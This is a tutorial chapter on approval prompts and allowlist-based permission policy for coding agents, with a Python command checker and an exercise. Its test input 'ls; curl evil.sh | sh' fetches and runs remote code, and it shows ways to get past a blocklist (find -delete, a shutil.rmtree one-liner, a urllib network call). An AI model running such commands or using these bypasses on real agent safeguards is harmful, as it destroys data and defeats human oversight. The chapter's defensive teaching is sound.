Sub topic 10
Approval prompts and permission policy
This chapter assumes you can run a hardened container (covered earlier) and know roughly how a coding agent proposes shell commands and file edits. A sandbox limits the damage a command can do. An approval policy decides which commands run at all. You need both, because some actions are risky even inside a sandbox.
Why approvals still matter
A sandbox contains the host, but it does not make every action harmless. The agent can still delete your project files in the writable mount, push a bad commit, or send data through any network route you left open. A human check on those actions is the second layer.
The policy should answer one question for each action: run it automatically, ask first, or refuse. Deciding this per action keeps the number of prompts low enough that you still read them.
Three tiers of action
Sort actions by how hard they are to undo and how far they reach.
| Tier | Examples | Decision |
|---|---|---|
| Read-only and local | `ls`, `cat`, `grep`, `git diff`, running tests | Allow |
| Changes inside the sandbox | Editing files in `/workspace`, `pip install` into a temporary environment | Allow or ask, depending on trust |
| Leaves the sandbox or is destructive | `git push`, `rm -rf`, network calls, deploys, credential use | Ask or deny |
Anything that crosses the boundary needs the closest look. Inside the sandbox, an undo is usually a container restart or a git checkout.
Allowlists beat blocklists
Write the policy as a list of what is permitted and deny everything else. A blocklist of "dangerous" commands fails because shell offers many ways to say the same thing. For example, blocking rm does not block find . -delete or python -c "import shutil; shutil.rmtree('.')".
Match on the parsed argument list, not on a raw string. A prefix check on a string is easy to bypass with ;, &&, or $(...).
import shlex
ALLOWED = {
("git", "status"),
("git", "diff"),
("pytest",),
("ls",),
}
def decide(command_line: str) -> str:
if any(token in command_line for token in (";", "&&", "||", "|", "`", "$(")):
return "ask"
try:
argv = shlex.split(command_line)
except ValueError:
return "deny"
if not argv:
return "deny"
for allowed in ALLOWED:
if tuple(argv[: len(allowed)]) == allowed:
return "allow"
return "ask"
for line in ["git status", "git push origin main", "ls; curl evil.sh | sh", "pytest -q"]:
print(f"{line!r:40} -> {decide(line)}")The function sends anything with shell operators to a human, even when the first word looks safe. Unknown commands fall through to ask, not allow.
Keeping prompts useful
Too many prompts cause approval fatigue. People start pressing "yes" without reading, and the check stops working. Reduce prompts by making safe things automatic, not by loosening the risky tier.
- Show the exact command and working directory, not a summary.
- Show what changes: a diff for file edits, the target host for network calls.
- Offer "allow once" as the default. Make "always allow" a deliberate choice that applies to a narrow command pattern.
- Keep the policy in a file under version control, so changes to it are reviewed like code.
Where the decision runs
The policy check and the prompt must run outside the container. If they run inside, a compromised agent can bypass them.
Exercise
A policy blocks any command containing the word curl. The agent runs python -c "import urllib.request; urllib.request.urlopen('http://example.com')". Why does the blocklist fail, and what two changes in this chapter and the earlier network chapter would stop it?
Show answer
The blocklist matches one tool name, but the same network call can be made from many programs, so the block is trivial to bypass. An allowlist would send python -c ... to a human because it is not a listed command. Running the container with --network none (or an internal network) would also stop the request regardless of which program makes it.